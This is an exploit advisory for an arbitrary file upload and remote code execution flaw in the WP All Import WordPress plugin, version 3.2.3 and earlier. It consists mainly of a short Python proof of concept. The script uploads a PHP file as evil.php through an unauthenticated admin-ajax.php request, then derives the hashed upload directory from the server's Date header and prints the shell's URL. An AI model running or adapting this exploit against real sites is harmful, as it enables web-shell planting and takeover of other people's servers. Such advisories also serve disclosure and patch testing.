------------------------------------------------------------------------------
WordPress WP All Import Plugin RCE
------------------------------------------------------------------------------
[-] Vulnerability Author:
James Golovich ( @Pritect )
[-] Exploit Author
Evex ( @Evex_1337 )
[-] Plugin Link:
https://wordpress.org/plugins/wp-all-import/
[-] Affected Version:
Version <= 3.2.3
[-] Vulnerability Description:
Retrieve any file on the system that ends in .txt
Retrieve any file on the system that ends in .html
Retrieve any value from the postmeta table
Upload arbitrary files to system
Reference:
http://www.pritect.net/blog/wp-all-import-3-2-3-pro-4-0-3-vulnerability-breakdown
[-] Proof of Concept:
#needs to run: php - python with requests lib installed
https://pypi.python.org/pypi/requests
import requests,os
site="localhost/x/wordpress"
file_to_upload = 'evex.php'
up_req = requests.post('http://
'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read(),timeout=20)
up_dir = os.popen('php -r "print
md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
print "http://
"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/evil.php"
